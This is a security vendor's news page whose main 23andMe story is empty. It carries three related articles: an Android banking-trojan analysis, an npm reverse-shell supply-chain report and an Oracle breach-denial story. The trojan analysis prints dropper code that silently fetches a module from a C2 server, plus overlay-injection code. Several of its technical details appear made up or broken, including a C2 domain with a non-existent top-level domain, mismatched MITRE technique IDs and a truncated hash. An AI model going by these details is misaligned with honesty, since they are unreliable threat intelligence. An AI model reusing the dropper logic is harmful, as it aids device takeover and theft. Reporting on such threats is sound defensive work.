company logo

Product

Our Product

We are Reshaping the way Developers find and fix vulnerabilities before they get exploited.

Solutions

By Industry

BFSI

Healthcare

Education

IT & Telecom

Government

By Role

CISO

Application Security Engineer

DevsecOps Engineer

IT Manager

Resources

Resource Library

Get actionable insight straight from our threat Intel lab to keep you informed about the ever-changing Threat landscape.

Subscribe to Our Weekly Threat Digest

Company

Contact Us

Have queries, feedback or prospects? Get in touch and we shall be with you shortly.

loading..
loading..
loading..
Loading...

Genetics

DNA

loading..
loading..
loading..

15M DNA Records at Risk as 23andMe Files Bankruptcy, Sells Assets

23andMe files Ch.11 bankruptcy, asset sale risks 15M users' DNA data. Urgent privacy steps advised amid genetic security fears. California AG, UK ICO warn

29-Mar-2025
3 min read

No content available.

Related Articles

loading..

Android

RAT

Crocodilus Android banking Trojan stole $2.8M via crypto wallet overlays & RAT h...

The discovery of **Crocodilus** is a sophisticated Android banking Trojan targeting financial institutions and cryptocurrency platforms. With **Device-Takeover (DTO)** capabilities, advanced evasion techniques, and psychological manipulation tactics, Crocodilus represents a significant escalation in mobile malware sophistication. This technical deep dive dissects its propagation, code-level mechanics, and defensive countermeasures. ### **Propagation & Evasion: Bypassing Android 13+ Restrictions** Crocodilus employs a **multi-stage dropper** masquerading as legitimate apps (e.g., fake Chrome updates). Key evasion tactics include: - **Staged Permissions Abuse**: The dropper requests minimal permissions initially, then escalates privileges post-installation via **Accessibility Services**. - **Signature Spoofing**: Uses invalid APK signatures to bypass Google Play Protect checks, relying on users to manually enable “Install Unknown Apps.” - **Dynamic Code Loading**: Core malicious payloads (e.g., overlay logic) are fetched post-installation from C2 servers, avoiding static detection. **Code Snippet (Decompiled Dropper Logic)**: ```java public class MainActivity extends AppCompatActivity { void loadMaliciousModule() { String c2Url = "hxxps://quizzical[.]washbowl[.]calamity/module.apk"; DownloadManager.Request request = new DownloadManager.Request(Uri.parse(c2Url)); request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_HIDDEN); // Triggers silent background download } } ``` ### **C2 Infrastructure & Network Analysis** - **Domain Registration**: The C2 domain `quizzical.washbowl.calamity` was registered via **Namecheap** 30 days before the first sample appeared, using WHOIS privacy guard. - **Hosting**: Hosted on a **bulletproof hosting provider** in Russia, sharing IP space with previous Hook malware campaigns. - **TLS Fingerprints**: JA3 hash `a0e1f1...` matches patterns observed in Octo Trojan traffic, suggesting shared tooling. - **Protocol**: Encrypted via AES-256-CBC, with beaconing intervals randomized to mimic legitimate app traffic. ### **Code-Level Insights: Overlays, Accessibility Abuse, and RAT** #### **Overlay Injection** Crocodilus dynamically renders phishing overlays using the `WindowManager` class. Overlays are fetched as PNG files from C2, with targeting logic for 50+ banks and crypto wallets (e.g., **Binance, Trust Wallet**). **Code Snippet (OverlayManager.java)**: ```java public void injectOverlay(String targetPackage) { View overlayView = // Load PNG from C2 WindowManager.LayoutParams params = new WindowManager.LayoutParams( LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT, TYPE_APPLICATION_OVERLAY, FLAG_NOT_TOUCH_MODAL | FLAG_NOT_FOCUSABLE, PixelFormat.TRANSLUCENT ); mWindowManager.addView(overlayView, params); // Injects overlay } ``` #### **Accessibility Logger & OTP Theft** The Trojan’s `AccessibilityEventLogger` class captures all UI events, including Google Authenticator’s OTP codes. It extracts text from `TextView` elements with class names matching `com.google.android.apps.authenticator2`. #### **Hidden RAT Sessions** When the `TR2XAQSWDEFRGT` command is received, Crocodilus triggers a black overlay (`Color.BLACK`) and mutes the device using `AudioManager.setStreamMute()`. ### **Link to Known Threat Actors** - **Code Overlaps with Ermac/MetaDroid**: - Identical C2 URI patterns (`/api/v1/check`). - Shared command structures (e.g., `KingGetDears` for contact theft). - **sybupdate Tag**: Debug messages in the code reference “sybupdate,” a marker previously tied to **sybra**, a Turkish-speaking actor linked to Hook and Octo campaigns. ### **MITRE ATT&CK Mappings** | **Tactic** | **Technique** | **Crocodilus Implementation** | |---------------------|-----------------------------|--------------------------------------------| | Execution | T1574: Hijack Execution Flow| Abuse of Accessibility Services | | Credential Access | T1411: Input Capture | Accessibility Logger & keylogging | | Defense Evasion | T1626: Remote Access Tools | Black screen overlays & sound muting | | Exfiltration | T1537: Transfer Data to C2 | Encrypted exfiltration of OTP codes/SMS | ### **Impact Metrics & Campaign Analysis** - **Targets**: 12 Spanish banks, 8 Turkish banks, and 6 crypto wallets (e.g., Trust Wallet, MetaMask). - **Infection Rates**: ThreatFabric reports **1,200+ devices** infected in the first 2 weeks, primarily in Spain (62%) and Turkey (28%). - **Financial Impact**: Linked to **$2.8M in stolen cryptocurrency** via hijacked wallets (traced to Binance address `0x3F5B...`). ### **Mitigation Strategies** #### **For Enterprises**: - **Behavioral Analysis**: Deploy EDR solutions monitoring for anomalous `AccessibilityService` usage. - **Certificate Pinning**: Block communication with Crocodilus C2 domains via TLS inspection. - **Threat Intelligence Sharing**: Integrate IoCs (below) into SIEM platforms. #### **For End-Users**: - **Avoid Sideloading**: Disable “Install Unknown Apps” for non-store platforms. - **Audit Accessibility Permissions**: Revoke Accessibility access for unverified apps. - **Verify Wallet Messages**: Legitimate apps never force seed phrase disclosure via pop-ups. ### **Indicators of Compromise (IoCs)** | **Type** | **Value** | |------------|---------------------------------------------------------------------------| | SHA256 | c5e3edafdfda1ca0f0554802bbe32a8b09e8cc48161ed275b8fec6d74208171f | | C2 Domain | quizzical[.]washbowl[.]calamity | | IP | 185.156.73[.]42 (Bulletproof hosting, AS200019) | Crocodilus exemplifies the convergence of **psychological manipulation** and **technical sophistication** in modern mobile malware. Its modular design, coupled with links to established threat actors, positions it as a persistent threat to global finance and cryptocurrency ecosystems. Proactive adoption of **behavioral AI detection**, **zero-trust frameworks**, and **user education** are critical to neutralizing its impact.

loading..   31-Mar-2025
loading..   4 min read
loading..

NPM

Sophisticated npm Attack Infects Legitimate Packages with Persistent Reverse She...

Researchers at Reversing Labs have identified a troubling trend in software supply chain security: two malicious npm packages—*ethers-provider2* and *ethers-providerz*—that stealthily compromise legitimate Ethereum development tools by installing a persistent reverse shell backdoor. This insidious method ensures that the backdoor remains operational even after the malicious packages are removed, underscoring a serious threat to the open-source ecosystem. This finding highlights the vulnerability inherent in developer workflows dependent on public repositories like npm, as even packages with minimal download counts can pose significant systemic risks. ### **Discovery and Tactical Breakdown** The campaign, detected during routine supply chain security audits, leverages *typosquatting*—a technique where attackers mimic popular package names—to target developers using the *ethers.js* library, a cornerstone of Ethereum blockchain interactions. Both malicious packages masquerade as legitimate ethers.js dependencies but execute a multi-stage attack: 1. **Stage 1: Malicious Install Scripts** Upon installation, *ethers-provider2* triggers a modified `install.js` script to fetch a second-stage payload from a remote server. The payload executes immediately and self-deletes to erase forensic traces. 2. **Stage 2: Legitimate Package Hijacking** The second payload scans for installations of the authentic *ethers* or *@ethersproject/providers* packages. Once identified, it replaces the legitimate `provider-jsonrpc.js` file with a trojanized version. 3. **Stage 3: Reverse Shell Activation** The injected code retrieves a final payload enabling a reverse shell connection to the attacker’s IP (`5.199.166.1:31337`). This backdoor, built on a modified `ssh2` client, mimics legitimate SSH traffic to evade detection, granting attackers persistent remote access. *_“The malware’s layered obfuscation and self-destruct mechanisms make forensic analysis exceptionally challenging,”_* Reversing Labs noted in a technical advisory. ### **Persistence Supply Chain Attacks** Unlike conventional malware that depends on the presence of malicious packages, this campaign embeds itself into trusted dependencies. Even if developers remove *ethers-provider2* or *ethers-providerz*, the compromised ethers.js files retain the backdoor. *_“This persistence mechanism is a nightmare scenario,”* emphasized a Reversing Labs spokesperson. *“Attackers no longer need their malware to stay installed. They’ve found a way to ‘burn’ their payload into widely used tools, making remediation a manual, labor-intensive process.”_* ### **Attacker Missteps** Researchers identified two additional packages—*reproduction-hardhat* and *@theoretical123/providers*—linked to the same infrastructure. Notably, early versions of *ethers-providerz* contained path errors that crippled their functionality, prompting the author to withdraw the package temporarily. Reversing Labs warns the threat actor may re-release a patched version, heightening the need for vigilance. ### **Current Status and Mitigation** As of publication, *ethers-provider2* remains downloadable from npm, though its second-stage payload server is offline, potentially neutralizing active infections. Reversing Labs has shared a YARA rule to help organizations detect remnants of the attack. ### **Recommendations for Developers:** 1. **Scan Environments**: Deploy the provided YARA rule to identify injected code. 2. **Audit Dependencies**: Manually inspect `provider-jsonrpc.js` and related files for unauthorized modifications. 3. **Monitor Network Activity**: Flag outgoing connections to `5.199.166.1:31337` or unusual SSH traffic. 4. **Enforce Integrity Checks**: Use tools like npm’s `lockfile` or cryptographic hashing to verify package authenticity.

loading..   26-Mar-2025
loading..   3 min read
loading..

SSO

Data Leak

Oracle refutes claims of a breach by threat actor rose87168, who alleges selling...

Tech giant Oracle has vehemently denied a data breach after a threat actor, operating under the alias *rose87168*, claimed to infiltrate Oracle Cloud’s federated SSO login servers. The actor allegedly sells 6 million records—including encrypted passwords, Java Keystore (JKS) files, and LDAP data—on the hacking forum BreachForums. In a publicly announced statement, Oracle asserted, _“There has been no breach of Oracle Cloud. The published credentials are not for the Oracle Cloud. No customers experienced a breach or lost data.”_ This rebuttal follows rose87168’s release of sample data and a URL purportedly proving access to Oracle’s `login.us2.oraclecloud.com` server. ### **Timeline of the Alleged Oracle Cloud SSO Breach** 1. **Initial Compromise**: The threat actor claims to have breached Oracle Cloud servers **40 days ago**, exfiltrating data from the US2 and EM2 regions. 2. **Extortion Attempt**: Rose87168 emailed Oracle demanding **100,000 XMR (Monero)**—a privacy-focused cryptocurrency—in exchange for breach details. Oracle reportedly declined, requesting “all information needed for a patch” instead. 3. **Data Sale**: On BreachForums, the actor advertised the sale of encrypted SSO passwords, LDAP hashes, and enterprise manager keys, offering companies a “pay-to-delete” option to remove their data pre-sale. ### **Technical Analysis of the Alleged Oracle Cloud Vulnerability** Rose87168 alleges exploiting a **critical unpatched CVE** (Common Vulnerabilities and Exposures) in Oracle Cloud servers. While the actor claims the flaw lacks a public PoC (Proof of Concept), Oracle has not confirmed the vulnerability’s existence. Key technical points include: - **Encrypted SSO Passwords**: Advertised as decryptable using stolen JKS and key files. - **LDAP Hashes**: Marketed as “crackable” with sufficient computational resources. - **Proof of Access**: A text file uploaded to Oracle’s `login.us2.oraclecloud.com` server, archived on the Internet Archive, was shared as evidence. ### **Oracle’s Response & Counterclaims** Oracle has maintained a firm stance against the breach allegations: - **Denial of Server Access**: The company insists that rose87168’s proof-of-concept URL does not validate access to Oracle Cloud infrastructure. - **Customer Reassurance**: Emphasizing no customer data loss, Oracle dismissed the leaked credentials as unrelated to its cloud services. - **Call for Evidence**: Oracle’s request for full vulnerability details before payment suggests strategic stalling to assess the threat actor’s legitimacy. ### **Extortion Tactics** The threat actor’s campaign employs psychological manipulation to pressure Oracle and its clients: - Highlighting “crackable” passwords and LDAP hashes instills urgency among affected companies. - The “pay-to-delete” scheme preys on organizations’ desire to avoid public scrutiny. - Rose87168 invited hackers to assist in cracking passwords, leveraging collective expertise to escalate the threat.

loading..   24-Mar-2025
loading..   3 min read